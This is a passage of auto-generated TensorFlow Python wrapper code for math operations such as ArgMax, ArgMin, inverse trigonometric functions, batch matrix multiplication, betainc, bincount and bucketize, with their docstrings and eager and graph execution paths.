except _core._FallbackException:
pass
try:
return arg_max_eager_fallback(
input, dimension, output_type=output_type, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if output_type is None:
output_type = _dtypes.int64
output_type = _execute.make_type(output_type, "output_type")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"ArgMax", input=input, dimension=dimension, output_type=output_type,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "output_type",
_op._get_attr_type("output_type"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"ArgMax", _inputs_flat, _attrs, _result)
_result, = _result
return _result
ArgMax = tf_export("raw_ops.ArgMax")(_ops.to_raw_op(arg_max))
def arg_max_eager_fallback(input, dimension, output_type, name, ctx):
if output_type is None:
output_type = _dtypes.int64
output_type = _execute.make_type(output_type, "output_type")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, _dtypes.bool, ])
_attr_Tidx, (dimension,) = _execute.args_to_matching_eager([dimension], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, dimension]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "output_type", output_type)
_result = _execute.execute(b"ArgMax", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"ArgMax", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def arg_min(input, dimension, output_type=_dtypes.int64, name=None):
r"""Returns the index with the smallest value across dimensions of a tensor.
Note that in case of ties the identity of the return value is not guaranteed.
Usage:
```python
import tensorflow as tf
a = [1, 10, 26.9, 2.8, 166.32, 62.3]
b = tf.math.argmin(input = a)
c = tf.keras.backend.eval(b)
# c = 0
# here a[0] = 1 which is the smallest element of a across axis 0
```
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`, `bool`.
dimension: A `Tensor`. Must be one of the following types: `int32`, `int64`.
int32 or int64, must be in the range `[-rank(input), rank(input))`.
Describes which dimension of the input Tensor to reduce across. For vectors,
use dimension = 0.
output_type: An optional `tf.DType` from: `tf.int32, tf.int64`. Defaults to `tf.int64`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `output_type`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "ArgMin", name, input, dimension, "output_type", output_type)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return arg_min_eager_fallback(
input, dimension, output_type=output_type, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if output_type is None:
output_type = _dtypes.int64
output_type = _execute.make_type(output_type, "output_type")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"ArgMin", input=input, dimension=dimension, output_type=output_type,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "output_type",
_op._get_attr_type("output_type"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"ArgMin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
ArgMin = tf_export("raw_ops.ArgMin")(_ops.to_raw_op(arg_min))
def arg_min_eager_fallback(input, dimension, output_type, name, ctx):
if output_type is None:
output_type = _dtypes.int64
output_type = _execute.make_type(output_type, "output_type")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, _dtypes.bool, ])
_attr_Tidx, (dimension,) = _execute.args_to_matching_eager([dimension], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, dimension]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "output_type", output_type)
_result = _execute.execute(b"ArgMin", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"ArgMin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.asin', 'asin')
def asin(x, name=None):
r"""Computes the trignometric inverse sine of x element-wise.
The `tf.math.asin` operation returns the inverse of `tf.math.sin`, such that
if `y = tf.math.sin(x)` then, `x = tf.math.asin(y)`.
**Note**: The output of `tf.math.asin` will lie within the invertible range
of sine, i.e [-pi/2, pi/2].
For example:
```python
# Note: [1.047, 0.785] ~= [(pi/3), (pi/4)]
x = tf.constant([1.047, 0.785])
y = tf.math.sin(x) # [0.8659266, 0.7068252]
tf.math.asin(y) # [1.047, 0.785] = x
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Asin", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return asin_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
asin, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Asin", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
asin, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Asin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Asin = tf_export("raw_ops.Asin")(_ops.to_raw_op(asin))
def asin_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Asin", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Asin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.asinh', 'asinh')
def asinh(x, name=None):
r"""Computes inverse hyperbolic sine of x element-wise.
Given an input tensor, this function computes inverse hyperbolic sine
for every element in the tensor. Both input and output has a range of
`[-inf, inf]`.
```python
x = tf.constant([-float("inf"), -2, -0.5, 1, 1.2, 200, 10000, float("inf")])
tf.math.asinh(x) ==> [-inf -1.4436355 -0.4812118 0.8813736 1.0159732 5.991471 9.903487 inf]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Asinh", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return asinh_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
asinh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Asinh", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
asinh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Asinh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Asinh = tf_export("raw_ops.Asinh")(_ops.to_raw_op(asinh))
def asinh_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Asinh", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Asinh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.atan', 'atan')
def atan(x, name=None):
r"""Computes the trignometric inverse tangent of x element-wise.
The `tf.math.atan` operation returns the inverse of `tf.math.tan`, such that
if `y = tf.math.tan(x)` then, `x = tf.math.atan(y)`.
**Note**: The output of `tf.math.atan` will lie within the invertible range
of tan, i.e (-pi/2, pi/2).
For example:
```python
# Note: [1.047, 0.785] ~= [(pi/3), (pi/4)]
x = tf.constant([1.047, 0.785])
y = tf.math.tan(x) # [1.731261, 0.99920404]
tf.math.atan(y) # [1.047, 0.785] = x
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Atan", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return atan_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
atan, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Atan", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
atan, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Atan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Atan = tf_export("raw_ops.Atan")(_ops.to_raw_op(atan))
def atan_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Atan", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Atan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.atan2', 'atan2')
def atan2(y, x, name=None):
r"""Computes arctangent of `y/x` element-wise, respecting signs of the arguments.
This is the angle \( \theta \in [-\pi, \pi] \) such that
\[ x = r \cos(\theta) \]
and
\[ y = r \sin(\theta) \]
where \(r = \sqrt(x^2 + y^2) \).
Args:
y: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
x: A `Tensor`. Must have the same type as `y`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `y`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Atan2", name, y, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return atan2_eager_fallback(
y, x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
atan2, (), dict(y=y, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Atan2", y=y, x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
atan2, (), dict(y=y, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Atan2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Atan2 = tf_export("raw_ops.Atan2")(_ops.to_raw_op(atan2))
def atan2_eager_fallback(y, x, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([y, x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
(y, x) = _inputs_T
_inputs_flat = [y, x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Atan2", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Atan2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.atanh', 'atanh')
def atanh(x, name=None):
r"""Computes inverse hyperbolic tangent of x element-wise.
Given an input tensor, this function computes inverse hyperbolic tangent
for every element in the tensor. Input range is `[-1,1]` and output range is
`[-inf, inf]`. If input is `-1`, output will be `-inf` and if the
input is `1`, output will be `inf`. Values outside the range will have
`nan` as output.
```python
x = tf.constant([-float("inf"), -1, -0.5, 1, 0, 0.5, 10, float("inf")])
tf.math.atanh(x) ==> [nan -inf -0.54930615 inf 0. 0.54930615 nan nan]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Atanh", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return atanh_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
atanh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Atanh", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
atanh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Atanh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Atanh = tf_export("raw_ops.Atanh")(_ops.to_raw_op(atanh))
def atanh_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Atanh", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Atanh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def batch_mat_mul(x, y, adj_x=False, adj_y=False, name=None):
r"""Multiplies slices of two tensors in batches.
Multiplies all slices of `Tensor` `x` and `y` (each slice can be
viewed as an element of a batch), and arranges the individual results
in a single output tensor of the same batch size. Each of the
individual slices can optionally be adjointed (to adjoint a matrix
means to transpose and conjugate it) before multiplication by setting
the `adj_x` or `adj_y` flag to `True`, which are by default `False`.
The input tensors `x` and `y` are 2-D or higher with shape `[..., r_x, c_x]`
and `[..., r_y, c_y]`.
The output tensor is 2-D or higher with shape `[..., r_o, c_o]`, where:
r_o = c_x if adj_x else r_x
c_o = r_y if adj_y else c_y
It is computed as:
output[..., :, :] = matrix(x[..., :, :]) * matrix(y[..., :, :])
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int32`, `int64`, `complex64`, `complex128`.
2-D or higher with shape `[..., r_x, c_x]`.
y: A `Tensor`. Must have the same type as `x`.
2-D or higher with shape `[..., r_y, c_y]`.
adj_x: An optional `bool`. Defaults to `False`.
If `True`, adjoint the slices of `x`. Defaults to `False`.
adj_y: An optional `bool`. Defaults to `False`.
If `True`, adjoint the slices of `y`. Defaults to `False`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "BatchMatMul", name, x, y, "adj_x", adj_x, "adj_y", adj_y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return batch_mat_mul_eager_fallback(
x, y, adj_x=adj_x, adj_y=adj_y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if adj_x is None:
adj_x = False
adj_x = _execute.make_bool(adj_x, "adj_x")
if adj_y is None:
adj_y = False
adj_y = _execute.make_bool(adj_y, "adj_y")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"BatchMatMul", x=x, y=y, adj_x=adj_x, adj_y=adj_y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "adj_x",
_op._get_attr_bool("adj_x"), "adj_y",
_op._get_attr_bool("adj_y"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"BatchMatMul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
BatchMatMul = tf_export("raw_ops.BatchMatMul")(_ops.to_raw_op(batch_mat_mul))
def batch_mat_mul_eager_fallback(x, y, adj_x, adj_y, name, ctx):
if adj_x is None:
adj_x = False
adj_x = _execute.make_bool(adj_x, "adj_x")
if adj_y is None:
adj_y = False
adj_y = _execute.make_bool(adj_y, "adj_y")
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T, "adj_x", adj_x, "adj_y", adj_y)
_result = _execute.execute(b"BatchMatMul", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"BatchMatMul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def batch_mat_mul_v2(x, y, adj_x=False, adj_y=False, name=None):
r"""Multiplies slices of two tensors in batches.
Multiplies all slices of `Tensor` `x` and `y` (each slice can be
viewed as an element of a batch), and arranges the individual results
in a single output tensor of the same batch size. Each of the
individual slices can optionally be adjointed (to adjoint a matrix
means to transpose and conjugate it) before multiplication by setting
the `adj_x` or `adj_y` flag to `True`, which are by default `False`.
The input tensors `x` and `y` are 2-D or higher with shape `[..., r_x, c_x]`
and `[..., r_y, c_y]`.
The output tensor is 2-D or higher with shape `[..., r_o, c_o]`, where:
r_o = c_x if adj_x else r_x
c_o = r_y if adj_y else c_y
It is computed as:
output[..., :, :] = matrix(x[..., :, :]) * matrix(y[..., :, :])
*NOTE*: `BatchMatMulV2` supports broadcasting in the batch dimensions. More
about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html).
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
2-D or higher with shape `[..., r_x, c_x]`.
y: A `Tensor`. Must have the same type as `x`.
2-D or higher with shape `[..., r_y, c_y]`.
adj_x: An optional `bool`. Defaults to `False`.
If `True`, adjoint the slices of `x`. Defaults to `False`.
adj_y: An optional `bool`. Defaults to `False`.
If `True`, adjoint the slices of `y`. Defaults to `False`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "BatchMatMulV2", name, x, y, "adj_x", adj_x, "adj_y", adj_y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return batch_mat_mul_v2_eager_fallback(
x, y, adj_x=adj_x, adj_y=adj_y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if adj_x is None:
adj_x = False
adj_x = _execute.make_bool(adj_x, "adj_x")
if adj_y is None:
adj_y = False
adj_y = _execute.make_bool(adj_y, "adj_y")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"BatchMatMulV2", x=x, y=y, adj_x=adj_x, adj_y=adj_y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "adj_x",
_op._get_attr_bool("adj_x"), "adj_y",
_op._get_attr_bool("adj_y"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"BatchMatMulV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
BatchMatMulV2 = tf_export("raw_ops.BatchMatMulV2")(_ops.to_raw_op(batch_mat_mul_v2))
def batch_mat_mul_v2_eager_fallback(x, y, adj_x, adj_y, name, ctx):
if adj_x is None:
adj_x = False
adj_x = _execute.make_bool(adj_x, "adj_x")
if adj_y is None:
adj_y = False
adj_y = _execute.make_bool(adj_y, "adj_y")
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T, "adj_x", adj_x, "adj_y", adj_y)
_result = _execute.execute(b"BatchMatMulV2", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"BatchMatMulV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.betainc', v1=['math.betainc', 'betainc'])
@deprecated_endpoints('betainc')
def betainc(a, b, x, name=None):
r"""Compute the regularized incomplete beta integral \\(I_x(a, b)\\).
The regularized incomplete beta integral is defined as:
\\(I_x(a, b) = \frac{B(x; a, b)}{B(a, b)}\\)
where
\\(B(x; a, b) = \int_0^x t^{a-1} (1 - t)^{b-1} dt\\)
is the incomplete beta function and \\(B(a, b)\\) is the *complete*
beta function.
Args:
a: A `Tensor`. Must be one of the following types: `float32`, `float64`.
b: A `Tensor`. Must have the same type as `a`.
x: A `Tensor`. Must have the same type as `a`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `a`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Betainc", name, a, b, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return betainc_eager_fallback(
a, b, x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
betainc, (), dict(a=a, b=b, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Betainc", a=a, b=b, x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
betainc, (), dict(a=a, b=b, x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Betainc", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Betainc = tf_export("raw_ops.Betainc")(_ops.to_raw_op(betainc))
def betainc_eager_fallback(a, b, x, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([a, b, x], ctx, [_dtypes.float32, _dtypes.float64, ])
(a, b, x) = _inputs_T
_inputs_flat = [a, b, x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Betainc", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Betainc", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def bincount(arr, size, weights, name=None):
r"""Counts the number of occurrences of each value in an integer array.
Outputs a vector with length `size` and the same dtype as `weights`. If
`weights` are empty, then index `i` stores the number of times the value `i` is
counted in `arr`. If `weights` are non-empty, then index `i` stores the sum of
the value in `weights` at each index where the corresponding value in `arr` is
`i`.
Values in `arr` outside of the range [0, size) are ignored.
Args:
arr: A `Tensor` of type `int32`. int32 `Tensor`.
size: A `Tensor` of type `int32`. non-negative int32 scalar `Tensor`.
weights: A `Tensor`. Must be one of the following types: `int32`, `int64`, `float32`, `float64`.
is an int32, int64, float32, or float64 `Tensor` with the same
shape as `arr`, or a length-0 `Tensor`, in which case it acts as all weights
equal to 1.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `weights`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Bincount", name, arr, size, weights)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return bincount_eager_fallback(
arr, size, weights, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Bincount", arr=arr, size=size, weights=weights, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Bincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Bincount = tf_export("raw_ops.Bincount")(_ops.to_raw_op(bincount))
def bincount_eager_fallback(arr, size, weights, name, ctx):
_attr_T, (weights,) = _execute.args_to_matching_eager([weights], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.float32, _dtypes.float64, ])
arr = _ops.convert_to_tensor(arr, _dtypes.int32)
size = _ops.convert_to_tensor(size, _dtypes.int32)
_inputs_flat = [arr, size, weights]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Bincount", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Bincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def bucketize(input, boundaries, name=None):
r"""Bucketizes 'input' based on 'boundaries'.
For example, if the inputs are
boundaries = [0, 10, 100]
input = [[-5, 10000]
[150, 10]
[5, 100]]
then the output will be
output = [[0, 3]
[3, 2]
[1, 3]]
Args:
input: A `Tensor`. Must be one of the following types: `int32`, `int64`, `float32`, `float64`.
Any shape of Tensor contains with int or float type.
boundaries: A list of `floats`.
A sorted list of floats gives the boundary of the buckets.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `int32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Bucketize", name, input, "boundaries", boundaries)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return bucketize_eager_fallback(
input, boundaries=boundaries, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if not isinstance(boundaries, (list, tuple)):
raise TypeError(
"Expected list for 'boundaries' argument to "
